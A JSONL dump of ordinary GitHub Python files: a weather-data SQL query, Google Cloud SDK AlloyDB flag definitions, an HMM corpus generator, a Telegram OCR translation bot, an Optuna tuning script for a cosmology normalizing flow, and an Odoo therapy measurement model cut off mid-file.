+{"seq_id":"42803022575","text":"import pandas as pd\nimport pandasql\n\ndef avg_min_temperature(filename):\n    weather_data = pd.read_csv(filename)\n\n    q = \"\"\"\n    SELECT\n    avg(cast(mintempi as integer))\n    FROM\n    weather_data\n    WHERE\n    rain = 1 AND cast(mintempi as integer) > 55\n    \"\"\"\n\n    avg_min_temp_rainy = pandasql.sqldf(q.lower(), locals())\n    return avg_min_temp_rainy\n\nprint(avg_min_temperature('../datas/weather_underground.csv'))\n","repo_name":"yosukenn/wranglling_subway_data","sub_path":"problem/mean_temp_on_rainy_days.py","file_name":"mean_temp_on_rainy_days.py","file_ext":"py","file_size_in_byte":420,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"35119844576","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import unicode_literals\n\nfrom googlecloudsdk.calliope import arg_parsers\n\n\ndef AddAssignIp(parser):\n  \"\"\"Adds an --assign-ip flag to parser.\n\n  Args:\n    parser: argparse.Parser: Parser object for command line inputs.\n  \"\"\"\n  parser.add_argument(\n      '--assign-ip',\n      required=False,\n      help='Assign a public IP address to the instance. This is a public, '\n      'externally available IPv4 address that you can use to connect to your '\n      'instance when properly authorized. Use `--assign-ip` to enable a public '\n      'IP and `--no-assign-ip` to disable it.',\n      action=arg_parsers.StoreTrueFalseAction)\n\n\ndef AddAvailabilityType(parser):\n  \"\"\"Adds an '--availability-type' flag to the parser.\n\n  Args:\n    parser: argparse.Parser: Parser object for command line inputs.\n  \"\"\"\n  parser.add_argument(\n      '--availability-type',\n      required=False,\n      choices={\n          'REGIONAL': 'Provides high availability and is recommended for '\n                      'production instances; instance automatically fails over '\n                      'to another zone within your selected region.',\n      },\n      help='Specifies level of availability.')\n\n\ndef AddBackup(parser, positional=True):\n  \"\"\"Adds a positional backup argument to parser.\n\n  Args:\n    parser: argparse.Parser: Parser object for command line inputs.\n    positional: whether or not --backup is positional.\n  \"\"\"\n  if positional:\n    parser.add_argument(\n        'backup',\n        type=str,\n        help='AlloyDB backup ID')\n  else:\n    parser.add_argument(\n        '--backup',\n        required=True,\n        type=str,\n        help='AlloyDB backup ID')\n\n\ndef AddCluster(parser, positional=True):\n  \"\"\"Adds a positional cluster argument to parser.\n\n  Args:\n    parser: argparse.Parser: Parser object for command line inputs.\n    positional: whether or not --cluster is positional.\n  \"\"\"\n  if positional:\n    parser.add_argument(\n        'cluster',\n        type=str,\n        help='AlloyDB cluster ID')\n  else:\n    parser.add_argument(\n        '--cluster',\n        required=True,\n        type=str,\n        help='AlloyDB cluster ID')\n\n\ndef AddDatabaseFlags(parser, update=False):\n  \"\"\"Adds a `--database-flags` flag to parser.\n\n  Args:\n    parser: argparse.Parser: Parser object for command line inputs.\n    update: Whether or not database flags were provided as part of an update.\n  \"\"\"\n  help_ = ('Comma-separated list of database flags to set on the '\n           'instance. Use an equals sign to separate flag name and value. '\n           'Flags without values, like skip_grant_tables, can be written '\n           'out without a value after, e.g., `skip_grant_tables=`. Use '\n           'on/off for booleans. View the Instance Resource API for allowed '\n           'flags. (e.g., `--database-flags max_allowed_packet=55555,'\n           'skip_grant_tables=,log_output=1`)')\n  if update:\n    help_ += (\n        '\\n\\nThe value given for this argument *replaces* the existing list.')\n  parser.add_argument(\n      '--database-flags',\n      type=arg_parsers.ArgDict(min_length=1),\n      metavar='FLAG=VALUE',\n      required=False,\n      help=help_)\n\n\ndef AddInstance(parser):\n  \"\"\"Adds a positional instance argument to parser.\n\n  Args:\n    parser: argparse.Parser: Parser object for command line inputs.\n  \"\"\"\n  parser.add_argument(\n      'instance',\n      type=str,\n      help='AlloyDB instance ID')\n\n\ndef AddInstanceType(parser, required=True):\n  \"\"\"Adds an --instance-type flag to parser.\n\n  Args:\n    parser: argparse.Parser: Parser object for command line inputs.\n    required: Whether or not --instance-type is required.\n  \"\"\"\n  parser.add_argument(\n      '--instance-type',\n      type=str,\n      required=required,\n      choices={\n          'PRIMARY': 'PRIMARY instances support read and write operations.',\n          'READ_POOL':\n              'READ_POOL instances support read operations only. Each '\n              'read pool instance consists of one or more homogeneous '\n              'nodes. '\n              '  * Read pool of size 1 can only have zonal availability. '\n              '  * Read pools with node count of 2 or more can have  '\n              '    regional availability (nodes are present in 2 or  '\n              '    more zones in a region).'\n      },\n      help='Specifies instance type.')\n\n\ndef AddOperation(parser):\n  \"\"\"Adds a positional operation argument to parser.\n\n  Args:\n    parser: argparse.Parser: Parser object for command line inputs.\n  \"\"\"\n  parser.add_argument(\n      'operation',\n      type=str,\n      help='AlloyDB operation ID')\n\n\ndef AddNetwork(parser):\n  \"\"\"Adds the `--network` flag to the parser.\"\"\"\n  parser.add_argument(\n      '--network',\n      required=False,\n      type=str,\n      help=('Network in the current project that the instance will be part '\n            'of. To specify using a network with a shared VPC, use the full '\n            'URL of the network. For an example host project, \\'testproject\\', '\n            'and shared network, \\'testsharednetwork\\', this would be of the '\n            'form:'\n            '`--network`=`projects/testproject/global/networks/'\n            'testsharednetwork`'))\n\n\ndef AddReadPoolNodeCount(parser):\n  \"\"\"Adds a --node-count flag to parser.\n\n  Args:\n    parser: argparse.Parser: Parser object for command line inputs.\n  \"\"\"\n  parser.add_argument(\n      '--read-pool-node-count',\n      required=False,\n      type=int,\n      help='Read capacity, i.e. number of nodes in a read pool instance.')\n\n\ndef AddRegion(parser, required=True):\n  \"\"\"Adds a --region flag to parser.\n\n  Args:\n    parser: argparse.Parser: Parser object for command line inputs.\n    required: Whether or not --region is required.\n  \"\"\"\n  parser.add_argument(\n      '--region',\n      required=required,\n      type=str,\n      help='Regional location (e.g. asia-east1, us-east1). See the full '\n            'list of regions at '\n            'https://cloud.google.com/sql/docs/instance-locations.')\n\n\ndef AddZone(parser):\n  \"\"\"Adds a --zone flag to parser.\n\n  Args:\n    parser: argparse.Parser: Parser object for command line inputs.\n  \"\"\"\n  parser.add_argument(\n      '--zone',\n      required=False,\n      type=str,\n      help=('Primary Compute Engine zone '\n            '(e.g. us-central1, us-central1, etc.'))\n\n\ndef AddForce(parser):\n  \"\"\"Adds a --force flag to parser.\n\n  Args:\n    parser: argparse.Parser: Parser object for command line inputs.\n  \"\"\"\n  parser.add_argument(\n      '--force',\n      required=False,\n      action='store_true',\n      help=('Default value is false.'\n            '\\n\\nIf flag is specified, deletes instances (if any) within this '\n            'cluster, before deleting the cluster.'\n            '\\n\\nIf flag is not specified, cluster delete will fail if there '\n            'are instances present in the cluster.'))\n\n\ndef AddMachineCPU(parser):\n  \"\"\"Adds a --machine-cpu flag to parser.\n\n  Args:\n    parser: argparse.Parser: Parser object for command line inputs.\n  \"\"\"\n  parser.add_argument(\n      '--machine-cpu',\n      required=True,\n      type=int,\n      choices=[8, 16, 32],\n      help=(\n          'Whole number value indicating how many vCPUs the machine should '\n          'contain. Each vCPU count corresponds to a N2 high-mem machine: '\n          '(https://cloud.google.com/compute/docs/general-purpose-machines#n2_'\n          'machines).'))\n\n\ndef AddPassword(parser):\n  \"\"\"Adds a --password flag to parser.\n\n  Args:\n    parser: argparse.Parser: Parser object for command line inputs.\n  \"\"\"\n  parser.add_argument(\n      '--password',\n      required=True,\n      type=str,\n      help=('Initial postgres user password to set up during cluster creation.')\n      )\n","repo_name":"boostcampaitech2/final-project-level3-cv-15","sub_path":"serving/google-cloud-sdk/lib/googlecloudsdk/command_lib/alloydb/flags.py","file_name":"flags.py","file_ext":"py","file_size_in_byte":7727,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"70892917868","text":"from collections import defaultdict\nfrom numpy.random import choice\n\n# Start and end states\nSTART = None\nEND = None\n\n\"\"\"\nA set of classes that allows the definition of a Hidden Markov Model \nto probabilistically generate a language corpus.\n\"\"\"\n\nclass State():\n    \"\"\"\n    A state in the HMM.\n    \"\"\"\n\n    def __init__(self, state_num, label=None):\n        \"\"\"\n        state_num: The unique numeric identifier for the state.\n        label: The optional, human-readable label for the state.\n        \"\"\"\n        self.num = state_num\n        self.label = label\n\nclass Transition():\n    \"\"\"\n    A transition in the HMM.\n    \"\"\"\n    def __init__(self, start_state, end_state, emissions, probability):\n        \"\"\"\n        start_state: A State object that is the starting state for this \n                     transition.\n        end_state: A State object that is the state reached after taking the\n                   transition.\n        emissions: A list of Emission objects specifying the character(s)\n                   emitted when taking this transition, and their\n                   probabilities.\n        probability: The probability of taking this transition.\n        \"\"\"\n        self.start_state = start_state\n        self.end_state = end_state\n        self.emissions = emissions\n        self.probability = probability\n\nclass Emission():\n    \"\"\"\n    A class representing a string emitted when taking a transition.\n    \"\"\"\n    def __init__(self, string, probability):\n        \"\"\"\n        string: The string to emit.\n        probability: The probability of emitting this string.\n        \"\"\"\n        self.string = string\n        self.probability = probability\n\nclass HMM():\n    \"\"\"\n    A class implementing a simple Hidden Markov Model.\n    \"\"\"\n\n    def __init__(self):\n        self._states = {}\n        self._transitions = defaultdict(list)\n\n    def add_state(self, state_num, label=None):\n        \"\"\"\n        Adds a state to the HMM.\n\n        state_num: A unique integer identifying the state.\n        label: An optional, human-readable label for the state.\n        \"\"\"\n        if self._states.get(state_num):\n            raise \"Duplicate state number {}\".format(state_num)\n        new_state = State(state_num, label)\n        self._states[state_num] = new_state\n\n    def add_transition(self, start_state, end_state, emissions, probability):\n        \"\"\"\n        Adds a transition to the HMM.\n\n        start_state: A State object that is the starting state for this \n                     transition.\n        end_state: A State object that is the state reached after taking the\n                   transition.\n        emissions: A list of Emission objects specifying the character(s)\n                   emitted when taking this transition, and their\n                   probabilities.\n        probability: The probability of taking this transition.\n        \"\"\"\n        emissions = [Emission(string, prob) for string, prob in emissions]\n        new_transition = Transition(\n            start_state, end_state, emissions, probability\n        )\n        self._transitions[start_state].append(new_transition)\n\n    def generate_output(self):\n        \"\"\"\n        Returns the output of generating a single string using the HMM.\n        \"\"\"\n        start_transitions = self._transitions[START]\n        output = []\n        transition = self.get_next_element(start_transitions)\n        while transition.end_state is not END:\n            emission = self.get_next_element(transition.emissions).string\n            if emission:\n                output.append(emission)\n            next_transitions = self._transitions[transition.end_state]\n            transition = self.get_next_element(next_transitions)\n        return output\n\n    def generate_stringset(self, n):\n        \"\"\"\n        Generates a list of strings using the HMM.\n\n        n: The number of strings to generate.\n        \"\"\"\n        stringset = []\n        for _ in range(n):\n            stringset.append(self.generate_output())\n        return stringset\n\n    def get_next_element(self, elements):\n        \"\"\"\n        Samples an element from the provided list based on their associated\n        probabilities.\n\n        elements: A list of elements to sample from. Elements can be any type,\n                  but must have a 'probability' attribute.\n        \"\"\"\n        element_probabilities = [e.probability for e in elements]\n        total_probability = sum(element_probabilities)\n        if total_probability != 1:\n            element_probabilities = list(map(\n                lambda x: x / total_probability, element_probabilities\n            ))\n        next_element = choice(elements, p=element_probabilities)\n        return next_element\n","repo_name":"connormayer/distributional_learning","sub_path":"code/HMM.py","file_name":"HMM.py","file_ext":"py","file_size_in_byte":4679,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"15116633522","text":"import datetime\n\nimport cv2\nimport pytesseract\nfrom aiogram.types import ContentType\nfrom pytesseract import Output\nfrom PIL import ImageDraw\nfrom textblob import TextBlob\nimport numpy as np\nfrom PIL import ImageFont, ImageDraw, Image\nfrom aiogram import Bot, Dispatcher, executor, types\nimport logging\nfrom io import BytesIO\nimport os\n\n\nAPI_TOKEN = 'Your Telegram API key goes here'  # Translator_projbot\n\nlogging.basicConfig(level=logging.INFO)\n\n# Initialize bot and dispatcher\nbot = Bot(token=API_TOKEN)\ndp = Dispatcher(bot)\n\n\n@dp.message_handler(commands='start')\nasync def start_cmd_handler(message: types.Message):\n    keyboard_markup = types.InlineKeyboardMarkup(row_width=3)\n    # default row_width is 3, so here we can omit it actually\n    # kept for clearness\n\n    text_and_data = (\n        ('نص', 'text'),\n        ('صورة', 'image'),\n    )\n    # in real life for the callback_data the callback data factory should be used\n    # here the raw string is used for the simplicity\n    row_btns = (types.InlineKeyboardButton(text, callback_data=data) for text, data in text_and_data)\n\n    keyboard_markup.row(*row_btns)\n\n    await message.reply(\"مرحبا\\nماذا تود ترجمته؟\", reply_markup=keyboard_markup)\n\n\n# Use multiple registrators. Handler will execute when one of the filters is OK\n@dp.callback_query_handler(text='image')  # if cb.data == 'no'\n@dp.callback_query_handler(text='text')  # if cb.data == 'yes'\nasync def inline_kb_answer_callback_handler(query: types.CallbackQuery):\n    answer_data = query.data\n    # always answer callback queries, even if you have nothing to say\n    await query.answer(f'You answered with {answer_data!r}')\n\n    if answer_data == 'text':\n        text = 'قم بكتابة او تحويل النص من محادثة اخرى لترجمته'\n    elif answer_data == 'image':\n        text = 'قم بالتقاط او ارسال صورة تحتوي كلمات لترجمتها'\n    else:\n        text = f'Unexpected callback data {answer_data!r}!'\n\n    await bot.send_message(query.from_user.id, text)\n\n\n# if the text starts with any string from the list\n@dp.message_handler(content_types=ContentType.TEXT)\nasync def text_startswith_handler(message: types.Message):\n    logging.info('text task')\n    reply = TextBlob(message.text)\n    translated = reply.translate(to='ar')\n    today = datetime.datetime.now()\n    year = today.strftime(\"%Y\")\n    month = today.strftime(\"%m\")\n    day = today.strftime(\"%d\")\n    # output = \"/opt/output/\" + year + \"/\" + month + \"/\" + day\n    data_path = \"user_data/\" + str(message.from_user.username) + \"/\" + year + \"/\" + month + \"/\" + day\n    # Check whether the specified path exists or not\n    isExist = os.path.exists(data_path)\n\n    if not isExist:\n        # Create a new directory because it does not exist\n        os.makedirs(data_path)\n        print(\"The new directory is created!\")\n    open(data_path + \"/ \" + 'messages.txt', 'a').write(\n        message.chat.id + ' | ' + message.text + '||' + \"\\n translation: \" + translated + \"\\n\")\n    await message.answer(translated)\n\n\n# @dp.message_handler(commands=['image'])\n# def start(message):\n#     message.answer(\"قم بالتقاط أو ارسال صورة تحتوي كلمات لترجمتها\")\n\n\ndef get_image(update, context):\n    photo = update.message.photo[-1].get_file()\n    # photo.download('img.jpg')\n    # img = cv2.imread('img.jpg')\n    img = cv2.imdecode(np.fromstring(BytesIO(photo.download_as_bytearray()).getvalue(), np.uint8), 1)\n\n\ndef image_ocr(test, message):\n    logging.info('ocr func')\n    img = test\n    # img = cv2.imread(file)\n    # d1 = ImageDraw.Draw(img)\n    # roi = img[50:500, 200:600]\n    # print(tes.image_to_string(roi))\n    custom_config = r'--psm 11'\n    d = pytesseract.image_to_data(img, config=custom_config, output_type=Output.DICT)\n    # print(d.keys())\n    n_boxes = len(d['text'])\n    for i in range(n_boxes):\n        if int(d['conf'][i]) > 60:\n            # print(d['text'][i])\n            (x, y, w, h) = (d['left'][i], d['top'][i], d['width'][i], d['height'][i])\n            blob = TextBlob(d['text'][i])\n            string = ''\n            try:\n                string = blob.translate(to='ar')\n                # reshaped_text = arabic_reshaper.reshape(string)    # correct its shape\n                # bidi_text = get_display(string)\n                # string = bidi_text\n                # print(string)\n            except Exception as e:\n                print(str(e))\n                string = d['text'][i]\n                print(string)\n\n            # if(string is str and string is not None):\n            # translated = string\n            # else:\n            # translated = d['text'][i]\n            # reshaped_text = arabic_reshaper.reshape(str(string))    # correct its shape\n            # bidi_text = get_display(reshaped_text)\n            # translated = bidi_text\n            translated = str(string)\n            print(translated)\n            img = cv2.rectangle(img, (x, y), (x + w, y + h), (255, 255, 255), -1)\n            # cv2.putText(img, 'Text', (int(x+(w/2)-(int(len(d['text'][i])/1.25))),int(y+(h/1.5))), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (36,255,12), 1)\n            # cv2.putText(img, u\"\"+translated, (x,y+h//2), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0,0,0), 1)\n            # d1.text((x,y),\"This is a Text\",fill(255,0,0))\n            text = translated\n            fontpath = \"./arial.ttf\"  # <== 这里是宋体路径\n            # textsize = cv2.getTextSize(text, fontpath, 1, 2)[0]\n            font2 = cv2.FONT_HERSHEY_SIMPLEX\n            textsize = cv2.getTextSize(text, font2, 1, 2)[0]\n            textX = (img.shape[1] - textsize[0]) / 2\n            textY = (img.shape[0] + textsize[1]) / 2\n            font = ImageFont.truetype(fontpath, 16)\n            img_pil = Image.fromarray(img)\n            draw = ImageDraw.Draw(img_pil)\n            draw.text((x + w // 2, y + h // 2), translated, font=font, fill=(0, 0, 0, 0))\n            img = np.array(img_pil)\n    # bio = BytesIO()\n    # # bio.name = 'image.jpeg'\n    # bio.name = str(message.message_id) +\"_ans\"+\".jpg\"\n    # img.save(bio, 'JPEG')\n    filename = str(message.message_id) + \"_ans\" + \".jpg\"\n    cv2.imwrite(filename, img)\n    return filename\n    # bio.seek(0)\n    # bot.send_photo(message.chat.id, photo=open(str(message.message_id) +\"_ans\"+\".jpg\", 'rb'))\n    # bot.send_photo(chat_id, photo=bio)\n    # while (1):\n    #     cv2.imshow('img', img)\n    #     k = cv2.waitKey(33)\n    #     if k == 27:  # Esc key to stop\n    #         break\n    #     elif k == -1:  # normally -1 returned,so don't print it\n    #         continue\n    #     else:\n    #         print(k)  # else print its value\n\n\n@dp.message_handler(content_types=ContentType.PHOTO)\nasync def echo(message: types.Message):\n    logging.info('ocr task')\n    # file_id = message.document.file_id\n    # file_info = await bot.get_file(photo[len(photo) - 1].file_id)\n    # new_photo = (await bot.download_file(file_info.file_path)).read()\n    photo = message.photo.pop()\n    today = datetime.datetime.now()\n    year = today.strftime(\"%Y\")\n    month = today.strftime(\"%m\")\n    day = today.strftime(\"%d\")\n    # output = \"/opt/output/\" + year + \"/\" + month + \"/\" + day\n    data_path = \"user_data/\" + str(message.from_user.username) + \"/\" + year + \"/\" + month + \"/\" + day\n    # Check whether the specified path exists or not\n    isExist = os.path.exists(data_path)\n\n    if not isExist:\n        # Create a new directory because it does not exist\n        os.makedirs(data_path)\n        print(\"The new directory is created!\")\n    await photo.download(data_path + \"/ \" + str(message.message_id) + \".jpg\")\n    # logging.info(file.file_path)\n    # await message.photo[-1].download(message.message_id)\n    # file = await bot.get_file(file_id)\n    # file_path = file.file_path\n    # myobj = BytesIO(file.download_as_bytearray())\n    # # get_image()\n    # # file_id = message.document.file_id\n    # # file = await bot.get_file(file_id)\n    # downloaded = await bot.download_file_by_id(message.photo[-1].file_id)\n    # photo = downloaded\n    # img = cv2.imdecode(np.fromstring(myobj.getvalue(), np.uint8), 1)\n    img = cv2.imread(str(message.message_id) + \".jpg\")\n    filename = image_ocr(img, message)\n\n    # await message.copy_to(message.chat.id)\n    await bot.send_photo(message.chat.id, photo=open(str(message.message_id) + \"_ans\" + \".jpg\", 'rb'))\n    os.remove(str(filename))\n    os.remove(str(message.message_id) + \".jpg\")\n\n\nif __name__ == '__main__':\n    executor.start_polling(dp, skip_updates=True)\n\n\ndef get_optimal_font_scale(text, width):\n    for scale in reversed(range(0, 60, 1)):\n        textSize = cv2.getTextSize(text, fontFace=cv2.FONT_HERSHEY_DUPLEX, fontScale=scale / 10, thickness=1)\n        new_width = textSize[0][0]\n        print(new_width)\n        if (new_width <= width):\n            return int(scale / 10)\n    return 1\n\n# font = ImageFont.truetype(\"arial.ttf\", 18)\n# cv2.imshow('img', img)\n# cv2.waitKey(0)\n# cv2.destroyAllWindows()\n","repo_name":"q8hk/TelegramTranslatorBot","sub_path":"ocr.py","file_name":"ocr.py","file_ext":"py","file_size_in_byte":8960,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"22981437536","text":"import numpy as np\nimport h5py\nimport matplotlib.pyplot as plt\nfrom matplotlib import colors\n\nimport torch\nfrom torch import nn\nfrom torch import optim\n\nimport pyro\nimport pyro.distributions as dist\nimport pyro.distributions.transforms as T\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport os\nimport optuna\nfrom optuna.trial import TrialState\nimport os\n\ndevice=torch.device(1 if torch.cuda.is_available() else 'cpu')\nprint(device)\n\n\nclass CAMELS():\n    BATCH_SIZE = 1024\n    N_VARIABLE = 5\n    N_CONTEXT = 2\n    def __init__(self):\n        data_0 = torch.tensor([])\n        data_1 = torch.tensor([])\n        data_2 = torch.tensor([])\n        data_3 = torch.tensor([])\n        data_4 = torch.tensor([])\n        WDM_mass = torch.tensor([])\n        Omega_m = torch.tensor([])\n\n        wdm_ori =np.loadtxt('sobol_sequence_WDM_real_values.txt',usecols=[5])\n        Omega_m_ori = np.loadtxt('sobol_sequence_WDM_real_values.txt',usecols=[0])\n\n        self.data = [data_0,data_1,data_2,data_3,data_4,WDM_mass,Omega_m]\n        for num in range(0,1024):\n            \n            \n            # catalogue name\n            catalogue = 'WDM/WDM_'+str(num)+'/fof_subhalo_tab_018.hdf5'\n\n            # value of the scale factor\n            scale_factor = 0.16\n            # open the catalogue\n            f = h5py.File(catalogue, 'r')\n    \n            data_0_temp = f['Subhalo/SubhaloStarMetallicity'][:]\n            data_1_temp = f['Subhalo/SubhaloGasMetallicity'][:] \n            data_2_temp = f['Subhalo/SubhaloMassType'][:,0]*1e10\n            data_3_temp = f['Subhalo/SubhaloMassType'][:,4]*1e10\n            data_4_temp = f['Subhalo/SubhaloVmax'][:]\n            \n            WDM_mass_temp = torch.ones(len(data_0_temp))*wdm_ori[num]\n            Omega_m_temp = torch.ones(len(data_0_temp))*Omega_m_ori[num]\n            \n            # close file\n            f.close()\n            \n            temp = [data_0_temp,data_1_temp,data_2_temp,data_3_temp,data_4_temp,WDM_mass_temp,Omega_m_temp]\n            \n            non_zero_M_star = temp[0]>0\n            \n            \n            non_zero_M_star = temp[3]>2e8\n    \n            #selected_indice = torch.linspace(0,1200-1,1200,dtype=int)\n            \n            for i in range(0,self.N_VARIABLE+self.N_CONTEXT):\n                temp[i] = np.array(temp[i][non_zero_M_star])\n                #temp[i] = np.array(temp[i])\n                #temp[i] = temp[i][selected_indice]\n                if i<self.N_VARIABLE:\n                    temp[i] = np.log10(temp[i]*10**10+1)-10\n                    temp[i][temp[i]==-10]=0\n                temp[i] = torch.tensor(temp[i], dtype=torch.float32)\n                self.data[i] = torch.cat((self.data[i], temp[i]),0)\n                #print(temp[i].max(),temp[i].min())\n    \n            \n    def reshape(self):\n        lense = len(self.data[0])\n            \n        rand_perm = torch.randperm(lense)\n\n        ori_data = torch.stack([self.data[i][rand_perm] for i in range(0,self.N_VARIABLE) ],dim=0)\n        ori_context = torch.stack([self.data[i][rand_perm] for i in range(self.N_VARIABLE,self.N_VARIABLE+self.N_CONTEXT) ],dim=0)\n\n        self.data_mean = torch.std_mean(ori_data,dim=1)[1]\n        self.data_std = torch.std_mean(ori_data,dim=1)[0]\n        norm_data = self.normalizing(ori_data)\n        #print(norm_data)\n\n        self.context_mean = torch.std_mean(ori_context,dim=1)[1]\n        self.context_std = torch.std_mean(ori_context,dim=1)[0]\n        norm_context= self.normalizing(ori_context)\n\n        self.train_num = int(0.8*lense)-int(0.8*lense)%self.BATCH_SIZE\n        self.batch_num = int(self.train_num/self.BATCH_SIZE)\n        #print(train_num)\n        train_indice = torch.linspace(0,self.train_num-1,self.train_num,dtype=int)\n        test_indice = torch.linspace(int(0.8*lense)+1,lense-1,lense-int(0.8*lense)-1,dtype=int)\n\n        self.source_data = torch.index_select(norm_data,1,train_indice)\n        self.source_context = torch.index_select(norm_context,1,train_indice)\n\n\n        self.train_data = torch.reshape(self.source_data,(self.N_VARIABLE,self.batch_num,self.BATCH_SIZE))\n        self.test_data = torch.index_select(norm_data,1,test_indice)\n        self.test_data = torch.t(self.test_data).to(device)\n\n        self.train_context = torch.reshape(self.source_context,(self.N_CONTEXT,self.batch_num,self.BATCH_SIZE))\n        self.test_context = torch.index_select(norm_context,1,test_indice)\n        self.test_context = torch.t(self.test_context).to(device)\n    \n    def normalizing(self,samples):\n        n = samples.size(0)\n        result = torch.zeros(samples.size())\n        for i in range(n):\n            result[i] = (samples[i]-torch.std_mean(samples,dim=1)[1][i])/torch.std_mean(samples,dim=1)[0][i]\n        return result\n    \ncamels = CAMELS()\n\ndef define_model(trial):\n    num_layers = trial.suggest_int(\"num_layers\", 1, 5)\n    input_dim = camels.N_CONTEXT\n    context_dim = camels.N_VARIABLE  \n\n    base_dist = dist.Normal(torch.zeros(input_dim).to(device), torch.ones(input_dim).to(device))\n\n\n    transform = []\n    count_bins = trial.suggest_int(\"count_bins\", 2, 20)\n    count_bins = 2\n    bound = trial.suggest_int(\"bound\", 2, 10)\n    for i in range(0,num_layers):\n        transform.append(\n            T.conditional_spline_autoregressive(input_dim = input_dim, \n                                                context_dim=context_dim, \n                                                count_bins=count_bins,\n                                                bound=bound).to(device)\n            )\n    flow = dist.ConditionalTransformedDistribution(base_dist, transform)\n\n    return flow,transform\n\ndef objective(trial):\n    # Generate the model.\n    flow,transform = define_model(trial)\n    \n    lr = trial.suggest_float(\"lr\", 1e-4, 1e-2, log=True)\n    weight_decay = trial.suggest_float(\"weight_decay\", 1e-5, 0.1, log=True)\n    optimizer = optim.Adam((par for model in transform for par in model.parameters()),lr = lr,weight_decay = weight_decay )\n\n    camels.reshape()\n    \n    min_valid = 1e40\n    fmodel = './models/reverse/reverse_con_2_%d.pt'%(trial.number)\n    \n    num_iter = trial.suggest_int(\"num_iter\", 1, 10)\n    \n    for i in range(0,num_iter):\n        rand_train = torch.randperm(camels.train_num)\n        for j in range(0,camels.N_VARIABLE):\n            camels.source_data[j] = camels.source_data[j][rand_train] \n        train_data = torch.reshape(camels.source_data,(camels.N_VARIABLE,camels.batch_num,camels.BATCH_SIZE))\n                \n        for j in range(0,camels.N_CONTEXT):\n            camels.source_context[j] = camels.source_context[j][rand_train] \n        train_context = torch.reshape(camels.source_context,(camels.N_CONTEXT,camels.batch_num,camels.BATCH_SIZE))\n\n        # batch loop:\n        for num in range(camels.batch_num):\n            x = torch.stack([train_data[j][num%(camels.batch_num)] for j in range(0,camels.N_VARIABLE)],dim=0)\n            x = torch.t(x)\n            x = x.to(device)\n            \n            y = torch.stack([train_context[j][num%(camels.batch_num)] for j in range(0,camels.N_CONTEXT)],dim=0)\n            y = torch.t(y)\n            y = y.to(device)\n            \n            optimizer.zero_grad()\n            loss = -flow.condition(x.detach()).log_prob(y.detach()).mean()\n            loss.backward()\n            optimizer.step()\n            flow.clear_cache()\n        \n        with torch.no_grad():\n            error = -flow.condition(camels.test_data).log_prob(camels.test_context).mean()\n            #print(error)\n            \n        if error<min_valid:  \n            min_valid = error\n            torch.save(flow, fmodel)\n        \n        trial.report(min_valid,i)\n        \n        \n        # Handle pruning based on the intermediate value.\n        if trial.should_prune():\n            raise optuna.exceptions.TrialPruned()\n        \n    return min_valid\n\ndef main():\n    #optuna.delete_study(study_name='CAMELS_reverse',storage='sqlite:///CAMELS_reverse.db')\n    study = optuna.create_study(direction=\"minimize\",study_name='CAMELS_reverse_2',storage='sqlite:///CAMELS_reverse_2.db',load_if_exists=True)\n    df = study.trials_dataframe(attrs=(\"number\", \"value\", \"params\", \"state\"))\n    print(df)\n    study.optimize(objective, n_trials=100,timeout = 3600*24)\n\n    pruned_trials = study.get_trials(deepcopy=False, states=[TrialState.PRUNED])\n    complete_trials = study.get_trials(deepcopy=False, states=[TrialState.COMPLETE])\n\n    print(\"Study statistics: \")\n    print(\"  Number of finished trials: \", len(study.trials))\n    print(\"  Number of pruned trials: \", len(pruned_trials))\n    print(\"  Number of complete trials: \", len(complete_trials))\n\n    print(\"Best trial:\")\n    trial = study.best_trial\n\n    print(\"  Value: \", trial.value)\n\n    print(\"  Params: \")\n    for key, value in trial.params.items():\n        print(\"    {}: {}\".format(key, value))\n\nif __name__ == \"__main__\":\n    main()","repo_name":"all2b9s/Constrain-on-WDM","sub_path":"reverse_model.py","file_name":"reverse_model.py","file_ext":"py","file_size_in_byte":8867,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"4089355025","text":"# -*- coding: utf-8 -*-\nfrom odoo import api, fields, models, SUPERUSER_ID, _\nfrom datetime import date, datetime\nfrom odoo.exceptions import UserError, ValidationError, MissingError\n\n\nclass TherapyBodyMeasure(models.Model):\n    _name = 'therapy.body.measure'\n\n    name = fields.Char(string='Name')\n    measurement_time = fields.Datetime(string='Measurement  time', default=lambda self: fields.Datetime.now())  # Thời gian đo\n    technician = fields.Many2one('hr.employee', string='Technician')  # Kỹ thuật viên\n    note = fields.Text(string='Note')\n    therapy_record_id = fields.Many2one('therapy.record', string='Therapy Record')\n    body_measure_line_ids = fields.One2many('therapy.body.measure.line', 'body_measure_id', string='Therapy Body Measure Line')\n    product_id = fields.Many2one('product.product', string='Product')\n\n    @api.model\n    def create(self, vals):\n        if vals.get('name', _('New')) == _('New'):\n            if vals['therapy_record_id']:\n                partner_id = self.env['therapy.record'].search([('id', '=', vals['therapy_record_id'])]).partner_id.id\n                array_date = vals['measurement_time'].split(' ')[0].split('-')\n                measurement_time = str(array_date[2]) + str(array_date[1]) + str(array_date[0])\n                vals['name'] = 'CSGB_' + str(partner_id) + '_' + measurement_time\n        return super(TherapyBodyMeasure, self).create(vals)\n\n    @api.onchange('product_id')\n    def constrains_product_id(self):\n        if self.product_id:\n            if not self.product_id.x_body_area_measure_ids:\n                raise UserError('Bạn chưa cấu hình thông số đo cho dịch vụ %s' % self.product_id.name)\n            arr_body_measure = []\n            for body_area in self.product_id.x_body_area_measure_ids:\n                line_id = self.env['therapy.body.measure.line'].create({\n                    'body_measure_id': self.id,\n                    'body_area_id': body_area.id,\n                    'measurement': 0,\n                })\n                arr_body_measure.append(line_id.id)\n            self.body_measure_line_ids = [(6, 0, arr_body_measure)]\n\n\nclass TherapyBodyMeasureLine(models.Model):\n    _name = 'therapy.body.measure.line'\n\n    name = fields.Char(string='Name')\n    body_measure_id = fields.Many2one('therapy.body.measure', string='Therapy Body Measure')\n    body_area_id = 